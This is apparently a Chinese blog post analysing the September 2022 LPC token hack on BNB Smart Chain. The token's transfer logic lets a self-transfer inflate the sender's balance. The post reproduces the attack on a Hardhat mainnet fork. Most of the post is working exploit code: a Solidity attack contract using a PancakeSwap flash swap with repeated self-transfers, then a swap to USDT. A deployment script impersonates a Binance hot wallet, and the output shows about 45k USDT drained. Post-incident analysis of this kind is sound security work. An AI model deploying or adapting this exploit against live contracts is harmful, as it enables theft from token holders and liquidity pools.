LPC攻击事件分析与复现

2022-09-22

简述

部署在bsc上的token合约在transfer时由于没有更新账本导致被攻击损失$4w

分析

攻击者地址:0xd9936ea91a461aa4b727a7e3661bcd6cd257481c

被攻击合约:0x1E813fA05739Bf145c1F182CB950dA7af046778d

攻击hash:https://bscscan.com/tx/0x0e970ed84424d8ea51f6460ce6105ab68441d4450a80bc8d749fdf01e504ed8c

漏洞成因

在进行转账时,自己转给自己 记账的时候 _balances[sender] 已经减了,_balances[recipient] 没有在原来的账本上加 recipientBalance 是一个非0值,因此导致攻击者自己转给自己时 余额一直在增加。

image-20220922133529078

image-20220922134033822

image-20220922134105331

漏洞复现

使用hardhat fork bsc 19852598 区块

攻击合约
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
pragma solidity 0.8.10;

import "hardhat/console.sol";

interface IERC20{
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external ;
function approve(address spender, uint256 amount) external;// returns (bool);
}

interface IpancakePair{
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function getReserves()external view returns (
uint112 _reserve0,
uint112 _reserve1,
uint32 _blockTimestampLast
);
}

interface IpancakeRouter{
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] memory path,
address to,
uint256 deadline
) external;
}


contract attack{

IpancakePair pair = IpancakePair(0x2ecD8Ce228D534D8740617673F31b7541f6A0099);
IERC20 lpc = IERC20(0x1E813fA05739Bf145c1F182CB950dA7af046778d);
IpancakeRouter router = IpancakeRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);
address usdt = 0x55d398326f99059fF775485246999027B3197955;
address owner;

constructor(){
owner = msg.sender;
}

modifier onlyOwner{
require(msg.sender == owner,"not owner");
_;
}


function flashloan() public onlyOwner{
(uint256 lpcreserves, ,) = pair.getReserves();
uint256 lpcbalance = lpc.balanceOf(address(pair));
console.log("lpcreserves balance is:",lpcreserves);
console.log("lpcbalance balance is:",lpcbalance);
console.log("start flashloan");
pair.swap(
lpcreserves-1,
// lpcbalance -1,
0,
address(this),
new bytes(1)
);
address[] memory path = new address[](2);
path[0] = address(lpc);
path[1] = usdt;
lpc.approve(address(router),type(uint).max);
router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
lpc.balanceOf(address(this)),
0,
path,
address(this),
block.timestamp
);
console.log("attack complete lpc balance is:",lpc.balanceOf(address(this))/1e18);
console.log("attack complete usdt balance is:",IERC20(usdt).balanceOf(address(this))/1e18);


}

function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external{

for (uint256 i=0;i<=10;i++){
uint256 amount = lpc.balanceOf(address(this));
lpc.transfer(address(this),amount);
}
lpc.transfer(address(pair),(amount0*11000)/10000);


}

}
攻击脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const hre = require("hardhat")

async function main(){
const hacker = '0x8894E0a0c962CB723c1976a4421c95949bE2D4E3' //binance hot wallet
const usdt = '0x55d398326f99059fF775485246999027B3197955'

await hre.network.provider.request({
method:'hardhat_impersonateAccount',
params:[hacker]
})

const signer = await hre.ethers.getSigner(hacker)

//step1 depoly contract
let ATTACK = await hre.ethers.getContractFactory("attack", signer)
let usdtContract = await hre.ethers.getContractAt('IBEP20', usdt)
let attack = await ATTACK.deploy()
await attack.deployed()
console.log("attack contrack deployed address is:", attack.address)
//step2 start attack
console.log("start attack...")
await attack.flashloan()
}

main()

结果如下:

1
2
3
4
5
6
7
attack contrack deployed address is: 0x2FC7E3F763221ac0eB51e5f0B48884300FC9f554
start attack...
lpcreserves balance is: 1504334223108233128743201
lpcbalance balance is: 1504334223108233128743201
start flashloan
attack complete lpc balance is: 0
attack complete usdt balance is: 45346

参考链接

https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/LPC.exp.sol